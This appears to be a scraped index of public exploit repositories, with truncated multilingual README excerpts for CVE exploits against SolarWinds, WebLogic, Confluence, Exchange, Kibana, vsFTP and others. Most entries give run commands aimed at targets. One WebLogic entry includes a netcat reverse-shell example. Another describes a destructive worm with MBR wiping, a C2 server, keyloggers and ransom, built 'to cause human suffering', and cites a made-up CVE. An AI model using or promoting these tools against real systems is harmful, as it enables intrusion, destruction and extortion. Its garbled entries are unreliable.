CVE-2024-28987

CVE-2024-28987: SolarWinds Web Help Desk 硬编码凭据漏洞 用于在易受攻击的服务器上利用 CVE-2024-28987 的概念验证。 博客文章 根本原因和入侵指标见此处： https://www.horizon3.ai/attack-research/cve-2024-28987-solarwinds-web-help-desk-hardcoded-credential-vulnerability-deep-dive 使用方法 % python3 CVE-2024-28987.py -h usage: CVE-2024-28987.py -h -u...

Exploit-CVE-2014-4210-

从一个酷炫的东西开始吧用它去搞破坏 升级，旨在造成人类痛苦： 1. 自我复制蠕虫 ：通过SSH暴力破解/SMB漏洞传播至所有连接的网络 。 2. MBR覆盖 ：通过破坏分区表使物理硬件变砖（无法恢复）。 3. 零日远程代码执行 ：利用未修补的WebLogic反序列化漏洞 （CVE-2024-666）获得即时root访问权限。 4. C2集成 ：通过darkc2.com服务器进行远程控制——部署额外载荷 ，如键盘记录器/加密货币挖矿程序。 5. Scapy网络风暴 ：用恶意数据包淹没目标网络，直至路由器因过载而熔毁 。 后利用菜单： 1. Demand ransom for...

react2shell-CVE-2025-55182

React2Shell 漏洞利用 CVE-2025-55182 用于 Next.js React 服务器组件 RCE 漏洞的 Python 利用工具，支持 HTTP/HTTPS。 🚀 快速开始 克隆并运行 git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git cd react2shell-CVE-2025-55182 python3 exploitreact2shell.py "" 📖 使用方法 HTTP python3 exploitreact2shell.py...

Apache-Struts-0Day-Exploit

Apache-Struts-0Day-Exploit Apache Struts で発見された重大なリモートコード実行脆弱性（CVE-2018-11776）。 インストール git clone https://github.com/LightC0der/Apache-Struts-0Day-Exploit/ 使用法: python ApacheStruts.py URL : www.example.com/ シェル : 「コマンド」 例: ls, dir, whoami...

GPON-LOADER

GPON-LOADER GPONホームゲートウェイデバイス（CVE-2018-10562）に対するリモートコード実行（ペイロード付き）のエクスプロイトローダー。Pythonで書かれています。 依存関係 requests 使用方法 python gpon-loader.py...

CVE-2018-15473

将漏洞利用代码从 Python 2 更新到 Python 3。请仅在道德范围内使用 :...

Bitrix24DoS

Bitrix24 DoS 漏洞利用工具 此仓库包含一个用于利用 Bitrix24 中拒绝服务（DoS）漏洞的 Python 脚本。请注意，此脚本仅用于教育目的，用于未经授权的活动是非法且不道德的。 CVE-2023-1718 CVE 标识符 ：CVE-2023-1718 漏洞类型 ：拒绝服务（DoS） 目标系统 ：Bitrix24 使用方法 请按照以下说明使用此脚本： 1. 将仓库克隆到本地计算机。 2. 使用以下命令安装所需的依赖项： pip install aiohttp 3. 通过提供必要的命令行参数运行脚本： python3 bitrix24dos.py --host...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 説明 このリポジトリには、Flowmon の脆弱性を悪用してターゲットシステム上でリバースシェルを取得する Python スクリプトが含まれています。このエクスプロイトは service.pdfs/confluence エンドポイントの欠陥を利用してサーバー上で任意のコマンドを実行し、リバースシェル接続を確立します。 使用方法 1. リポジトリをローカルマシンにクローンします: https://github.com/adhikara13/CVE-2024-2389.git 2. クローンしたディレクトリに移動します:...

cve-2023-43208-poc

Mirth Connect PoC 脚本 用于 Mirth Connect 漏洞安全研究的简单 Python 脚本。 重要事项 请仅在你拥有或获得明确书面许可的系统上使用此项目。 未经授权的测试是非法的。 文件 exploit.py — 主脚本 依赖要求 Python 3.9+ requests urllib3 快速设置 python -m venv .venv ..venv\Scripts\activate pip install requests urllib3 备注 此仓库仅用于教育和授权的安全测试目的。...

wp_drupal_timing_attack

wpdrupaltimingattack Python 脚本，利用 CVE-2014-9016 和 CVE-2014-9034。 仅用于合法目的。...

CVE-2024-23346

/bin/python3.11 exploit.py -t -u -p -l...

CVE-2023-34598

CVE-2023-34598 - Gibbon v25.0.0 LFI 漏洞利用工具 该仓库包含一个 Python 脚本，用于识别并利用 Gibbon v25.0.0 中的本地文件包含（LFI）漏洞（CVE-2023-34598）。该脚本可以扫描目标网站是否存在潜在漏洞，如果成功，则下载 SQL 导出文件以供进一步分析。它还提供了一个内置的 FOFA 查询，帮助定位潜在的可利用目标。 概述 名称： CVE-2023-34598.py 目的： 识别并利用 Gibbon v25.0.0 中的本地文件包含（LFI）漏洞。 主要功能： 扫描单个目标 是否存在漏洞。 提取部分数据库导出...

CVE-2023-22518

CVE-2023-22518 CVE-2023-22518 不適切な認可の脆弱性に脆弱なConfluenceサーバーを悪用するためのエクスプロイトツール インストール: git clone https://github.com/sanjai-AK47/CVE-2023-22518 cd CVE-2023-22518 python3 exploit.py 使用法: python3 exploit.py -h usage: exploit.py -h -d DOMAIN -dL DOMAINSLIST -o OUTPUT -to TIMEOUT -px PROXY -v DESCTIPTIO...

CVE-2026-41651

CVE-2026-41651 TLDR: 上传到目标，然后 python3 exploit.py...

ProxyLogon

ProxyLogon Python3 版 ProxyLogonCVE-2021-26855+CVE-2021-27065 Exchange Server 远程代码执行SSRF-获取WebShell usage: python ProxyLogon.py --host=exchange.com [email protected] python ProxyLogon.py --host=exchange.com --mails=./mails.txt args: --host: target's address. --mail: exists user's mail. --mail...

CVE-2018-7852

CVE-2018-7852 受影响的产品 施耐德电气 Modicon M580 版本 2.80 施耐德电气 Modicon M340 版本 3.01 施耐德电气 Modicon Premium 版本 3.20 施耐德电气 Modicon Quantum 版本 3.60 参考 https://www.se.com/ww/en/download/document/SEVD-2019-134-11/ https://www.talosintelligence.com/vulnerabilityreports/TALOS-2019-0763 用法 python CVE-2018-7852.py...

Moodle-CVE-2024-43425-Exploit

Moodle RCE 漏洞利用 CVE-2024-43425 本仓库包含一个针对 Moodle CVE-2024-43425 远程代码执行 RCE 漏洞的 Python 利用脚本。 免责声明： 本工具按 原样 提供，仅用于教育和研究目的。仅可在获得明确测试许可的系统上使用。作者不对因滥用此脚本造成的任何损害或法律问题负责。 无法提取问题 ID 错误： 访问题目创建页面并检查值。如果 categories HTML 标签中不存在 4,3，请在代码中修改。 依赖要求 Python 3.6+ Requests 库 使用 pip 安装所需包： pip install requests...

cve-2019-7609

CVE-2019-7609 基于 LandGrey 的代码 使用 python3.6+ 编写的 CVE-2019-7609 漏洞利用程序。 CVE-2019-7609 ：在 Timelion 可视化工具中，影响 Kibana 5.6.15 之前版本和 6.6.0 之前版本的远程代码执行漏洞。 使用方法 1. 启动监听器 2. 运行该利用程序，参数为目标 URL（Kibana 服务器的基本 URL）、监听主机地址和监听端口 ./cve-2019-7609.py http://:5601 3. 享受 RCE 示例 已在 TryHackme 的 Kiba 房间 上测试过。...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 Python用EXP（ワンステップで完了） 使用方法: Python3 exploit.py -t -c ヒント: エコーなし 例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' すると、シェルを取得できます。...

vsFTP-2.3.4-Remote-Root-Shell-Exploit

vsFTP 2.3.4 Exploit de Shell Root Remota Un programa simple en Python que obtiene una Shell Root Remota en el Dispositivo Objetivo explotando una Vulnerabilidad CVE-2011-2523 presente en vsFTP 2.3.4 Requisitos Lenguaje usado = Python3 Módulos/Paquetes usados: socket os pexpect paramiko getpass...